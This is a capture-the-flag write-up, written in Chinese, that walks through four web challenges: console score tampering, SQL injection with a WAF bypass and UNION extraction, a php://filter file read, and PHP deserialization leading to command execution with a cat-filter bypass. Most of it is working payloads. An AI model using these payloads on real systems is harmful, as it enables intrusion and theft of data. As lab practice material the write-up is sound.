1.游戏高手
进入环境,一个小游戏,说10000分给flag
直接死掉,看有没有数据包
弹窗出游戏分数,但没有抓取到数据包,说明前端校验分数
发现score分数要超过100000,控制台直接var gameScore=1111111111111;
然后停止游戏
gameover();
最后得到了flag
2.ez_sql
进入环境,发现id可能存在sql注入
然后payload=1' or 1=1 --+
发现有waf,尝试大小写绕过关键字
payload=1' Or 1=1 --+
成功
先看看有多少列
payload=1' Order By 1--+
当增大到6时不再正常回显,说明有5列
查找回显点:
payload=1' Union Select database(),2,3,4,5 --+
发现成功回显
第五列也可以,就用第五列来进行注入回显
数据库:ctf
接下来查表
payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) From INFORMATION_SCHEMA.TABLES Where TABLE_SCHEMA='ctf' --+
发现表here_is_flag和grades
接下来查字段(先查here_is_flag)表
payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(column_name) From INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME='here_is_flag' --+
发现flag字段
查看字段
payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) From ctf.here_is_flag --+
成功拿到flag
3.include 0。0
进入环境,代码审计
发现时文件包含,用php伪协议读取
一般base64读取,但这里过滤base,所以用其他形式读取
payload:?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
最后拿到flag
4.Unserialize?
进入环境,代码审计,是反序列化
比较简单,直接给代码
<?php
class evil {
private $cmd='ls /';
}
$a=new evil();
$obj=serialize($a);
echo ($obj);
?>
payload: unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
注:private会自动添加两空格,记得手动加上
然后继续查看th1s_1s_fffflllll4444aaaggggg
payload=unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"ca\t /th1s_1s_fffflllll4444aaaggggg";}
注:反引号可绕过cat过滤,或者双引号,单引号,都可以
最后得到flag